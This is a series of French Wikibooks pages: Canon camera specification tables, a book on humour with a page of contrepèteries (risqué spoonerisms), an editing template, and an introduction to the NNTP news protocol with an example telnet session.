color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>--- •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>l'étui FlexiSkin™ adapté à cet appareil lui apporte une « peau » souple et douce au toucher, qui assure aussi une protection efficace. Six couleurs au choix : Aluminum Grey, Coral Pink, Frosted Clear, Future Blue, Jet Black and Smoke Grey. |- |} === Canon Digital Ixus 50 (2005) === {| border="1" cellspacing="0" cellpadding="4" |- |[[Image:Canon Digital Ixus 50 front.jpg|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>CCD 1/2,5" 5 Mpixels •&nbsp;<font color=grey>Définition maxi : </font>de 640x480 à 2592x1944 •&nbsp;<font color=grey>Formats de fichiers : </font>JPG •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>SD •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>35-105 mm •&nbsp;<font color=grey>Zoom numérique : </font>oui •&nbsp;<font color=grey>Diaphragme : </font>de 2,8 à 4,9 (W-T) •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>LCD 2", 118 px •&nbsp;<font color=grey>Modes : </font>[[Photographie - 23 - Macrophotographie|macro]] à 3 cm, vidéo de 160x120 à 640x480 •&nbsp;<font color=grey>Mise au point : </font>autofocus non débrayable, distance minimale 47 cm •&nbsp;<font color=grey>Obturateur : </font>de 1/1500 à 15 s, rafale 2,1 image/s •&nbsp;<font color=grey>Retardateur : </font>oui •&nbsp;<font color=grey>Commande de l'exposition : </font>centrale pondérée, spot •&nbsp;<font color=grey>Correction d'exposition : </font>de -2 à +2EV par incréments de 1/3EV •&nbsp;<font color=grey>Sensibilité du capteur : </font>automatique, 50, 100, 200, 400 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>automatique, ciel nuageux, lumière du jour, éclairage fluorescent, lampes à incandescence •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>oui, modes automatique, anti yeux rouges, plein jour, annulé, vitesse lente •&nbsp;<font color=grey>Connexions : </font>USB 2.0 •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>batterie Li-Ion •&nbsp;<font color=grey>Dimensions : </font>86 x 53 x 20.7 mm •&nbsp;<font color=grey>Poids : </font>130 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Canon Powershot G5 (2005) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>CCD 5 Mpix •&nbsp;<font color=grey>Définition maxi : </font>maxi 2592 x 1944 pixels •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>zoom 7.2-28.8 mm f/2.0-3.0 •&nbsp;<font color=grey>Équivalent 24x36 : </font>34-140 mm •&nbsp;<font color=grey>Zoom numérique : </font>oui •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>--- •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>Auto, 50, 100, 200 et 400 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>--- •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Canon Digital Ixus 55 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>CCD 1/2.5" 5 Mpix •&nbsp;<font color=grey>Définition maxi : </font>maxi 2592 x 1944 pixels •&nbsp;<font color=grey>Formats de fichiers : </font>JPG •&nbsp;<font color=grey>Mémoire interne : </font>16 Mo •&nbsp;<font color=grey>Cartes-mémoires : </font>SD •&nbsp;<font color=grey>Objectif : </font>zoom x3 5,8 mm - 17,4 mm •&nbsp;<font color=grey>Équivalent 24x36 : </font>--- •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>F/2.8-4.9 •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>2,5" couleur •&nbsp;<font color=grey>Modes : </font>[[Photographie - 23 - Macrophotographie|macro]] de 3 à 50 cm, portrait, panorama, feu d'artifice, aquatique, intérieur, feuillage, plage, enfants et animaux domestiques, macro numérique, instantané de nuit, neige •&nbsp;<font color=grey>Mise au point : </font>autofocus par détection de contraste •&nbsp;<font color=grey>Obturateur : </font>prise de vues en rafales 2,1 image/s •&nbsp;<font color=grey>Retardateur : </font>2 et 10 s •&nbsp;<font color=grey>Commande de l'exposition : </font>Automatique •&nbsp;<font color=grey>Correction d'exposition : </font>sur ±2 EV par incrément de 0,33 EV •&nbsp;<font color=grey>Sensibilité du capteur : </font>ISO 50, 100, 200, 400, auto •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>Automatique, fluorescent, nuageux, tungstène, lumière du jour, personnalisé •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>oui, mode plein jour, synchro lente, automatique, désactivé, atténuation des yeux rouges, portée de 0,5 à 3,5 m •&nbsp;<font color=grey>Connexions : </font>USB, sortie audio-vidée composite •&nbsp;<font color=grey>Compatibilité DPOF : </font>oui •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>--- •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Canon Powershot A 430 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : compact entrée de gamme •&nbsp;<font color=grey>Capteur : </font>CCD 1/3 4 Mpix •&nbsp;<font color=grey>Définition maxi : </font>2272x1704 •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>SD •&nbsp;<font color=grey>Objectif : </font>f/2,8-5,8 5,4-21,6 mm •&nbsp;<font color=grey>Équivalent 24x36 : </font>39-156 mm •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>oui •&nbsp;<font color=grey>Écran : </font>LCD 4,6 cm 77 000 pixels •&nbsp;<font color=grey>Modes : </font>8 modes scènes •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>de 1 s à 1/2000e s •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>automatique, manuelle, multizone, centrale et spot •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>automatique 64 à 400 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>automatique et 6 préréglages •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>2 piles ou accus AA •&nbsp;<font color=grey>Dimensions : </font>105x52x40 mm •&nbsp;<font color=grey>Poids : </font>205 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>150 € en 2006 •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Canon Digital Ixus 65 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>appareil ultra-compact •&nbsp;<font color=grey>Capteur : </font>CCD 1/2,5 6 Mpix •&nbsp;<font color=grey>Définition maxi : </font>2112x2816 •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>SD •&nbsp;<font color=grey>Objectif : </font>Canon F/2,8-4,9 5,8-17,4 mm •&nbsp;<font color=grey>Équivalent 24x36 : </font>35x105 •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>non •&nbsp;<font color=grey>Écran : </font>LCD 7,6 cm 170 000 pixels •&nbsp;<font color=grey>Modes : </font>automatique et 12 modes scènes •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>de 15 s à 1/1500e s •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>automatique, multizone, centrale et spot •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>auto 80 à 800 •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>auto, 6 préréglages •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>accu NB-4L •&nbsp;<font color=grey>Dimensions : </font>90x58x20 mm •&nbsp;<font color=grey>Poids : </font>180 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>400 € •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Canon Digital Ixus 800 IS (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>compact haut de gamme avec stabilisateur d'image •&nbsp;<font color=grey>Capteur : </font>CCD 1/2,5 6 Mpix •&nbsp;<font color=grey>Définition maxi : </font>2112x2816 •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>SD •&nbsp;<font color=grey>Objectif : </font>Canon f/2,8-5,5 5,8x23,2 mm •&nbsp;<font color=grey>Équivalent 24x36 : </font>35x140 •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>oui •&nbsp;<font color=grey>Écran : </font>LCD 6,4 cm 173 000 pixels •&nbsp;<font color=grey>Modes : </font>12 modes scènes •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>de 15 s à 1/1600e s •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>automatique, manuelle, multizone, centrale et spot •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>80 à 800 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>automatique, manuelle, 5 préréglages •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>accu Li-Ion NB-5L •&nbsp;<font color=grey>Dimensions : </font>91x57x27 mm •&nbsp;<font color=grey>Poids : </font>195 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>500 € •&nbsp;<font color=grey>Remarques : </font>--- |- |} == Appareils réflex numériques == <gallery> Image:Canon EOS 350D back (aka).jpg Image:Canon EOS 350D front (aka).jpg Image:Canon-EOS-300-p1030344.jpg </gallery> {{appareil réflex numérique |modèle=Canon EOS 20D ||année=2005 ||image=Image:Eos 20d v sst.jpg |type=réflex numérique mono-objectif, successeur de l'EOS 10D ||capteur=CMOS 22,5 x 15 mm 8,5 Mpixels ||définition=3504 x 2336 pixels |formats=JPEG, RAW ||mémoire=non ||cartes=CompactFlash type I et II et Microdrive |monture=Canon EF et EF-S ||objectifs=interchangeables ||PdC=oui |zoom numérique= ||viseur=réflex ||écran=LCD couleur 1,8 pouce (4,5 cm) |modes= [[Photographie - 23 - Macrophotographie|macro]] ||mise au point= ||obturateur= |retardateur= ||exposition= ||correction= |sensibilité= ||mémorisation= ||balance= |prise flash= ||flash intégré= ||connexions=USB2 |DPOF=oui ||alimentation=Batterie Canon BP-511 ||dimensions=144 x 71 x 105 mm |poids=690 g (boîtier seul, sans pile) ||accessoires= ||prix |remarques=impression directe PictBridge, pilotes d'installation PC livrés Windows 2000, Me, XP, pilotes d'installation Mac livrés Système 10 et plus }} <gallery> Image:Eos 20d h sst.jpg </gallery>blabla Livre d'humour 6141 26833 2005-12-15T15:33:05Z Darkdadaah 440 Ce livre n'est pas un recueil de blagues ou de jeux de mots : il traite de l'art de faire de l'humour : la manière, les mécanismes, les genres, etc. == Les différents « arts » == * [[Livre d'humour/Jeux de mots|Jeux de mots]] * [[Livre d'humour/Histoires drôles|Histoires drôles]] * [[Livre d'humour/Devinettes|Devinettes]] * [[Livre d'humour/Contrepèteries|Contrepèteries]] * [[Livre d'humour/Énigmes|Énigmes]] == Les genres == * Humour enfantin * Humour noir * Humour salace * Absurde == Quelques mécanismes == == Astuces pour bien raconter… == == Voir aussi == * [[w:Humour|Humour sur Wikipédia]] Livre d'humour/Contrepèteries 6142 45753 2006-06-26T08:50:33Z 81.220.110.163 /* Exemples */ {{ébauche}} <center><big>'''« La contrepèterie, c'est l'art de décaler les sons. »'''</big></center> <center>L'envolée des incultes</center> Les contrepèteries sont très appréciées, mais leur construction n'est pas aisée. Ce livre a pour but de montrer les différentes sortes de contrepèteries possibles, des plus simples inversions de lettres en début de mot aux plus complexes textes aux multiples échanges. Et cela, bien entendu, agrémenté d'exemples. Ces « règles » s'appliquent au [[français]], mais elles sont aisément transposables à d'autres [[Enseignement des langues|langues]]. == Les bases de la contrepèterie == Une contrepèterie, de manière générale, est le changement d'une à plusieurs lettres ou sons dans une phrase en apparence anodine, résultant en une autre phrase au contenu beaucoup plus grivois. En règle générale, la contrepèterie est orale ; la « traduction » peut être comprise immédiatement pour les plus simples (quoiqu'une petite habitude soit souvent nécessaire). L'usage veut que la solution des contrepèteries ne soit jamais révélée à voix haute. Le faire est considéré comme une faute de goût… == Les différents types == === Lettres en début de mot === Il s'agit de la plus simple et de la plus classique des contrepèteries : deux mots dans une phrase échangent leur première lettre. C'est la plus courante et en général la plus facile à trouver, la majorité des contrepèteries sont de ce type. ==== Exemples ==== * Attention, le pont va casser. * Comment peut-on diner avec si maigre part ! * Des pêcheurs en quête de thon. * Allons, ma fille, essuie ça vite et bien. * Ce jeune homme a une mine piteuse. * Avez-vous vu le bond de la crue ? * À veaux sensibles, pis délicats. * Cette lutte est vraiment passive. * Ce cric a l'air bon. * Couds-la au fond ! * Ce pichet a une belle mine. * Ce n'est pas au pieu qu'est réservé le plaisir de diner. * Ce couvent de femmes a été fondé par les Saluces. * Au pensionnat, elles ont toutes un toit pour se doucher. * Ce jeune homme sort de l'[[w:École nationale supérieure des mines de Paris|École des Mines de Paris]]. * Défense aux dames patronesses de quêter sur un pliant. * C'est une jolie bête qu'un faucon. * C'est le petit vieux qui vend de la serge. * Elle m'a menti la sotte. * Après l'examen, les bachelières livrent leur [[w:Kant|Kant]] au feu. * À la campagne, je perçois dans ma couche les mouvements des bœufs. * Attention vous videz vos nouilles sur ma cape ! * Ce n'est pas tout d'avoir un bon jute, il faut savoir rouir. * Ce jeune homme est attaché aux bons Cordeliers. * Dommage, j'étais en face de la poutre. * Combien y a-t-il de feux dans votre Nantes ? * Avec leur nouveau règlement sur les munitions, ils nous en perdent. * Avec leurs potes elles font rendre les mines. * Elle en fait des chichis pour une pauvre mite dans sa botte ! * Ce terrible mondain s'insinue entre les riches. * Ce petit bouillon fait la joie du corps. * Garçon, où fourre-t-on les billes ? * Ghislaine jouit d'un nom bien coté. * Goûtez-moi cette farce. * Ces luttes perpétuelles épuisent la malheureuse Russie. * Ces vastes fouilles n'ont donné que de vieux coutres. * Deux carrioles sans mulets. * Ces vastes souilles améliorent le port de votre Calvi. * Cette fois, j'ai senti le bout de ses galoches. * Ce [[w:Jean-Marie Messier|Messier]] est fou ! * Cette crue n'interdit pas d'aller jusqu'à la grotte. * Dans ce siècle de perdition, toutes les jeunes filles doutent de leur foi. * [[w:Jacques Chirac|Chirac]], au fond à [[w:Bernadette Chirac|Bernadette]], il préfère les caisses noires. * En orient j'ai vu un grand nombre de sites en babouches. * En se couchant, le valet pense à fermer la lumière. * Encore une tine de pâté ! * Encouragé par sa femme le bûcheron fendait dix bois par jour. * Et surtout par son admirable beauté de sites. * Elle a reçu toute la farine sur sa mante. * Dans la nuit les Terre-Neuvas craignent les proues qui tuent. * Elle hésitait à dévoiler son but devant tant de candeur. * Du moment que j'ai la cote je n'ai pas besoin de ton dû. 2 contrepèteries : * Aux sites de Bologne, je préfère les mines de Pompéi. * Ce cabot de curé a des nouilles au jus. * Elle me met la garce sur le flanc pour me sécher ! (''enjambées'') * Quand son mouton fût bouillant, la belle enfant dévora les frites. === Deux lettres ou deux sons simples === ==== Exemples ==== * Bob hésite. * C'est un facheux problème de math, * C'est un ministre décent. * Cette femme a l'allure douteuse. * Couper les nouilles au sécateur ! * Direction et gestion. * Elle cuvait quand on l'a emballée. * Henri a été maculé de boue. * J'ai des rebords à mes épaulettes. * Le ministre ne veut pas qu'on l'envoie dans la culture. === Plusieurs lettres ou de syllabes en début de mot === ==== Exemples ==== * Il est arrivé à pied par la Chine. * Le boutre du sultan remonte le confluent de la Garonne. * [[w:Bouilleur de cru|Bouilleur de cru]]. * [[w:Croix-de-feu|Croix-de-feu]]. * Il y'a une panne de micro dans la pièce du fond, car les parasites brouillent l'écoute. === Changement de deux syllabes === ==== Exemples ==== * Ces garçons ont appris a calculer en cent leçons. * Au Zambèze, les filles sont belles et gentilles. * Basculer sur le terrain de l'enquête. * On est jamais fort pour ce calcul. === Changement de deux groupes de lettres === ==== Exemples ==== * Cabine treize. * Conan le barbare. * Échec et mat. * L'Afrique est dans l'attente d'une lutte passive. === Mots entiers === ==== Exemples ==== === Déplacement d'une seule lettre === ==== Exemples ==== === Déplacement d'une syllabe ou d'un mot entier === ==== Exemples ==== == Contrepèteries plus difficiles == === Approximations === Nelson Monfort (met le son moins fort) === Mélanges === === Textes en contrepèteries === ==== Exemples ==== '''L'Auberge de Vendée''', aussi appelée ''Hôtel du congre debout et du bon coucher'', vous propose son menu : :- Rillettes en fût :- Tourte de cailles :- Mouton bouillant :- Le caneton à la russe :- Les nouilles cuisant au jus de canne (''double'') :- Riz Condé :- Jolies tranches dans le mou (la fine ou l'épaisse) :- Escalopes sur une belle salade :- Poire à la fine :- Les « glacés du Mans » :- Crème au goût de Mont-Blanc == Construction de contrepèteries == (éventuellement) == Voir aussi == * [[Livre d'humour/Liste de contrepèteries|Liste alphabétique de contrepèteries]] * [[w:contrepèterie|Contrepèteries sur Wikipédia]] {| align=center cellpadding=5 style="border:1px solid #aaaaaa" | '''[[Livre d'humour|Retour au Livre d’humour]]''' |} Modèle:En cours 6143 26837 2005-12-15T16:05:09Z Dake 577 modèle page en cours <div style="float:left;margin-left:0.7em;margin-right:0.7em"> [[Image:Fairytale_waring.png|32px|plot]] </div> ''Un éditeur est en train de travailler en profondeur sur cet article. Merci de ne pas le modifier pour limiter les risques de conflit de versions jusqu'à disparition de cet avertissement.''</div> Introduction au protocole NNTP 6144 34411 2006-02-24T11:32:31Z 82.226.207.197 orth Regroupés au sein de [[w:Usenet|Usenet]], les groupes de discussion gérés par le protocole [[w:NNTP|NNTP]] (''Networks News Transfer Protocol'') ont encore de beaux jours devant eux malgré l'avancée des forums ([[w:PhpBB|PhpBB]] et consorts) sur les pages web. On peut s'y abonner, les consulter en tout temps et poster des messages. Nous allons utiliser [[w:Python (langage)|Python]] pour réaliser un petit lecteur de nouvelles qui permettra de rapatrier les messages d'un groupe. ==Introduction== À la fin des années 70, les protocoles pour utiliser les réseaux se multiplient. En [[w:1972|1972]], le [[w:courriel|courriel]] apparaît, suivi de [[w:Suite des protocoles internet|TCP/IP]] une année plus tard. Si le courriel est intéressant pour quelques échanges, la solution apparaît moins commode pour établir des discussions entre plusieurs utilisateurs. Le concept de « mailing-list » est alors inventé pour permettre des envois à plusieurs correspondants abonnés. En [[w:1979|1979]], des étudiants de la [[w:Duke University|Duke University]] en [[w:Caroline du Nord|Caroline du Nord]], Tom Truscott et Jim Ellis planchent sur une innovation en la matière : réaliser un réseau qui se chargerait de stocker les messages qui pourraient être consultés à tout moment. C'est ainsi que débute l'histoire d'Usenet, contraction de « Unix User Network ». Aidés par d'autres étudiants, ils réalisent un réseau entre leur université et la [[w:University of North Carolina|University of North Carolina]]. Un protocole est spécialement développé pour gérer la diffusion des nouvelles : [[w:UUCP|UUCP]]. Le réseau de nouvelles se répand rapidement au travers d'[[w:ARPANET|ARPANET]] et d'autres types de connexions ([[w:BBS|BBS]], [[w:Fidonet|Fidonet]], [[w:X.25|X.25]], etc.). En [[w:1984|1984]], le nombre de serveurs UUCP se monte à plus de 900 mais devant un tel succès, des modifications doivent être envisagées. Une des plus importantes est le passage à TCP/IP qui le lie à Internet. De plus, UUCP constitue un gouffre à ressources : chaque serveur transmet un nouveau message à un autre serveur sans vérifier si ce dernier le possède déjà. Les serveurs croulent ainsi sous des messages inutiles qui saturent le réseau. Avec l'expansion de Usenet, la masse de messages devient rapidement ingérable. Le protocole UUCP est alors abandonné au profit de NNTP (Networks News Transfer Protocol), présenté en février [[w:1986|1986]] par Brian Kantor et Phil Lapsley dans la RFC-977. NNTP résout ce problème en introduisant la notion d'interaction entre les serveurs. Un serveur peut demander la liste de groupes et d'articles d'un autre serveur et rapatrier les messages désirés. Le réseau peut aussi être fragmenté entre gros et petits serveurs, ces derniers s'occupant par exemple d'une liste plus restreinte de groupes ou faisant office de cache. Plusieurs universités dont [[w:Berkeley|Berkeley]] travaillent sur les applications côté serveur en essayant d'optimiser la gestion des messages et le système est remodelé pour obtenir la structure que nous connaissons aujourd'hui. Usenet devient une vitrine de prédilection, des annonces importantes y sont faites et des groupes concernant les sujets les plus divers allant de l'anodin au sulfureux (alt.sex, groupes de secte, etc.) se répandent. Le 6 août 1991, [[w:Tim Berners-Lee|Tim Berners-Lee]] annonce dans alt.hypertext la création du « WorldWideWeb project ». Dans l'ordre des choses, le [[w:spam|spam]] y fait son apparition dès [[w:1994|1994]]. On attribue la paternité du spam sur Usenet à Clarence Thomas avec le message « Global Alert For All : Jesus is Coming Soon » (17 janvier 1994). Il sera suivi peu après par un spam sur le [[w:génocide arménien|génocide arménien]] puis le premier véritable spam commercial sur Usenet orchestré par deux avocats américains. ==Aperçu du protocole NNTP== Le protocole NNTP est basé sur une suite de commandes et de réponses en [[w:ASCII|ASCII]] comme [[w:SMTP|SMTP]]. Les communications se font en général via le port 119 du serveur. Les réponses retournées par un serveur sont divisées en deux catégories dans la RFC : réponses « textuelles » et réponses « états » sous la forme de nombres. Les indications d'états permettent de savoir si une commande envoyée par le client a été correctement traitée par le serveur. Des paramètres peuvent être joints à l'identifiant de l'état du serveur. Une certaine liberté est prévue au travers de messages de débogage. Une commande réussie retournera un code de type 2xx (par exemple, 211 pour la commande GROUP). Les codes 4xx et 5xx sont des messages d'erreurs. Les commandes les plus importantes sont les suivantes : * ARTICLE <ID> : permet de récupérer l'en-tête et le corps du message identifié par ID, cet identifiant prend la forme d'une adresse mail classique, par exemple <F4WdnSa6OKXF46TeRVn-ig@xyz.com> * ARTICLE <n°> : comme avant, sauf que l'on utilise un numéro attribué selon un simple compteur propre à chaque groupe de discussions * HEAD ou BODY : même syntaxe que pour ARTICLE sauf qu'elles permettent d'isoler l'en-tête ou le corps du message * LIST : permet d'obtenir la liste des groupes disponibles sur le serveur avec des indications sur le nombre de messages et l'intervalle des numéros de messages * GROUP <id> : permet de sélectionner le groupe de discussion désiré, par exemple « sci.crypt », la commande retourne « 211 » (en cas de réussite) suivi du nombre d'articles dans le groupe et les indices du premier et du dernier article. * IHAVE <id> : permet d'informer le serveur que nous sommes en possession du message avec l'identifiant indiqué. Le serveur formule une demande s'il désire recevoir une copie. * LAST : permet d'obtenir le dernier article stocké par le serveur * NEWSGROUPS date heure [GMT] : permet d'obtenir les nouveaux groupes apparus depuis la date indiquée, l'indication GMT permet d'indiquer si l'heure est donnée en fonction de celle du serveur ou celle du [[w:méridien de Greenwich|méridien de Greenwich]]. (format date : YYMMDD, heure : HHMMSS) * NEWNEWS groupes date heure [GMT] : agit de la même manière que la commande précédente pour obtenir les messages postés après la date indiquée, le champ « groupes » accepte des wildcards et des choix multiples comme par exemple « net.*.linux » ou encore « net.*,!net.unix.* » qui accepte tous les net sauf ceux qui se terminent par unix.* * POST : permet d'envoyer un message. Si la procédure est autorisée, le code 340 est retourné et le format décrit dans la RFC 1036 (mise à jour de la RFC 850) doit être suivi. Nous allons y revenir plus tard. * QUIT : stoppe la connexion Grâce à un client [[w:Telnet|Telnet]], il est possible d'expérimenter ces commandes. Voici un exemple de session sur un serveur en lecture seule mais à l'accès libre : <pre><nowiki> $ telnet news.readfreenews.net 119 201 white.readfreenews.net NNRP Service Ready - news@readfreenews.net (no posting). LIST 215 Newsgroups in form "group high low flags". visi.help 0000058262 0000058263 y visi.stats 0000039101 0000039102 m visi.general 0000172353 0000172354 y visi.gripes 0000045288 0000045289 y visi.announce 0000012334 0000012335 m visi.test 0000023657 0000023605 y mn.k12.teacher.cue 0000010279 0000010271 y mn.personals 0000011316 0000011248 y alt.support.tourette 0000142902 0000140727 y alt.support.step-parents 0000184119 0000182728 y alt.support.diet 0000584275 0000567574 y </nowiki></pre> (...très longue liste... le premier nombre correspond à l'index du dernier message, le deuxième nombre à l'index du second message, le drapeau y/n/m indique si l'écriture sur le groupe est autorisée, interdite ou sous modération) <pre><nowiki> GROUP sci.crypt 211 18749 240359 259107 sci.crypt </nowiki></pre> (211 = OK, nous avons 18749 messages dans le groupe sci.crypt, le premier se trouve à l'index 240359 et le dernier à 259107) <pre><nowiki> ARTICLE 258000 </nowiki></pre> (retourne l'en-tête et le corps du message) <pre><nowiki> BODY <1123545560.959696.302110@g49g2000cwa.googlegroups.com> HEAD <1123545560.959696.302110@g49g2000cwa.googlegroups.com> </nowiki></pre> (retourne le contenu et l'en-tête d'un message que l'on peut sans risque qualifier de spam) <pre><nowiki> HELP </nowiki></pre> (retourne la liste des commandes) <pre><nowiki> IHAVE 123456789 480 Transfer permission denied </nowiki></pre> (le serveur est en lecture seule et ne désire pas recevoir de messages) <pre><nowiki> NEWNEWS *.linux 050926 101010 230 New news follows. <43382240$0$49017$14726298@news.sunsite.dk> <e4egj1tki2tcvhf4mm3t2s9udl660ao2tv@4ax.com> <43386797$0$49009$14726298@news.sunsite.dk> <4339095e$0$49014$14726298@news.sunsite.dk> <433921c6$0$49010$14726298@news.sunsite.dk> </nowiki></pre> (longue liste, tous les messages postés dans les groupes terminants par .linux après le 26 septembre 2005 à 10h10) nb. ne semble plus fonctionner avec le serveur de l'exemple (décembre 2005) ==Le format des messages sur USENET== Décrit au départ dans la RFC 850, le format des messages fut mis à jour dans la RFC 1036. 